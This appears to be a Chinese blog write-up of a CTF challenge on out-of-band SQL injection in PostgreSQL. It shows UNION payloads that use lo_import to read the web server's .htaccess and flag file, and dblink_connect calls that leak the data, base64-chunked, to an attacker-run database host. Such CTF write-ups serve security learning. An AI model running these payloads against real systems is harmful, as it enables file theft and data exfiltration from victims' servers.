postgresql 带外注入

2024-01-23 21:18
文章标签 注入 postgresql 带外

本文主要是介绍postgresql 带外注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

最近某秋弄了个比赛,有个题是FBCTF的原题魔改的脑洞题
记录下
postgresql带外注入(FBCTF)
FBCTF详解

解题

flag名字在.htaccess文件里(由tank文件解析而来),提示也只说flag在web的某个目录下,真鸡巴离谱,这题的数据库用户权限很低,只有查询权限,RCE是很困难的

我用的是外联数据库的方法

vps环境:Ubuntu18.04
apt install 安装即可
百度有
修改配置文件
/etc/
设置
listen_addresses = ‘*’

重启服务

手机访问 f12体验苹果6
在这里插入图片描述

用上面csdn的payload试试,服务器有回显
我查到他的库名是
public searches

但是flag并不在数据库里
由于用户权限低的缘故,不能用常规方法读取 只能用到大对象操作
上述文章有讲到
在这里插入图片描述

先绑定文件的oid
这里是不能进行带外的注意

1' UNION SELECT (select lo_import('/var/www/html/.htaccess')),'1' --+

注意只能在第一个字段绑定

绑定后通过查询pg_largeobject_metadata表来获得所有的大对象的oid

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l)||' password=postgres dbname=postgres')) -- 

在这里插入图片描述
再一个个试,从最后面那个试

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password= dbname=postgres')) -- 

然后读oid绑定的文件
注意base64编码,而且返回还做了长度限制
通过substring()函数进行截断读取

我就截了这么一段
PEZpbGVzTWF0Y2ggInB1c2hGMW40QW5LIj4KICBTZXRIYW5kbG
在这里插入图片描述
这里可知道flag的文件名为pushF1n4AnK

再用同样的方法读flag
一个个读

PD9waHAKJGZsYWc9ImZsYWd7NGQ4MTAxMDQtNzFiYS00ZmUzLThkY2YtYzYwNzY2NThiODllfSI7

在这里插入图片描述

这篇关于postgresql 带外注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637549

相关文章

postgresql数据库基本操作及命令详解

《postgresql数据库基本操作及命令详解》本文介绍了PostgreSQL数据库的基础操作,包括连接、创建、查看数据库,表的增删改查、索引管理、备份恢复及退出命令,适用于数据库管理和开发实践,感兴... 目录1. 连接 PostgreSQL 数据库2. 创建数据库3. 查看当前数据库4. 查看所有数据库

PostgreSQL数据库密码被遗忘时的操作步骤

《PostgreSQL数据库密码被遗忘时的操作步骤》密码遗忘是常见的用户问题,因此提供一种安全的遗忘密码找回机制是十分必要的,:本文主要介绍PostgreSQL数据库密码被遗忘时的操作步骤的相关资... 目录前言一、背景知识二、Windows环境下的解决步骤1. 找到PostgreSQL安装目录2. 修改p

PostgreSQL 默认隔离级别的设置

《PostgreSQL默认隔离级别的设置》PostgreSQL的默认事务隔离级别是读已提交,这是其事务处理系统的基础行为模式,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价... 目录一 默认隔离级别概述1.1 默认设置1.2 各版本一致性二 读已提交的特性2.1 行为特征2.2

PostgreSQL中MVCC 机制的实现

《PostgreSQL中MVCC机制的实现》本文主要介绍了PostgreSQL中MVCC机制的实现,通过多版本数据存储、快照隔离和事务ID管理实现高并发读写,具有一定的参考价值,感兴趣的可以了解一下... 目录一 MVCC 基本原理python1.1 MVCC 核心概念1.2 与传统锁机制对比二 Postg

一文详解PostgreSQL复制参数

《一文详解PostgreSQL复制参数》PostgreSQL作为一款功能强大的开源关系型数据库,其复制功能对于构建高可用性系统至关重要,本文给大家详细介绍了PostgreSQL的复制参数,需要的朋友可... 目录一、复制参数基础概念二、核心复制参数深度解析1. max_wal_seChina编程nders:WAL

PostgreSQL 序列(Sequence) 与 Oracle 序列对比差异分析

《PostgreSQL序列(Sequence)与Oracle序列对比差异分析》PostgreSQL和Oracle都提供了序列(Sequence)功能,但在实现细节和使用方式上存在一些重要差异,... 目录PostgreSQL 序列(Sequence) 与 oracle 序列对比一 基本语法对比1.1 创建序

最详细安装 PostgreSQL方法及常见问题解决

《最详细安装PostgreSQL方法及常见问题解决》:本文主要介绍最详细安装PostgreSQL方法及常见问题解决,介绍了在Windows系统上安装PostgreSQL及Linux系统上安装Po... 目录一、在 Windows 系统上安装 PostgreSQL1. 下载 PostgreSQL 安装包2.

Win11安装PostgreSQL数据库的两种方式详细步骤

《Win11安装PostgreSQL数据库的两种方式详细步骤》PostgreSQL是备受业界青睐的关系型数据库,尤其是在地理空间和移动领域,:本文主要介绍Win11安装PostgreSQL数据库的... 目录一、exe文件安装 (推荐)下载安装包1. 选择操作系统2. 跳转到EDB(PostgreSQL 的

Ubuntu 22.04 服务器安装部署(nginx+postgresql)

《Ubuntu22.04服务器安装部署(nginx+postgresql)》Ubuntu22.04LTS是迄今为止最好的Ubuntu版本之一,很多linux的应用服务器都是选择的这个版本... 目录是什么让 Ubuntu 22.04 LTS 变得安全?更新了安全包linux 内核改进一、部署环境二、安装系统

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排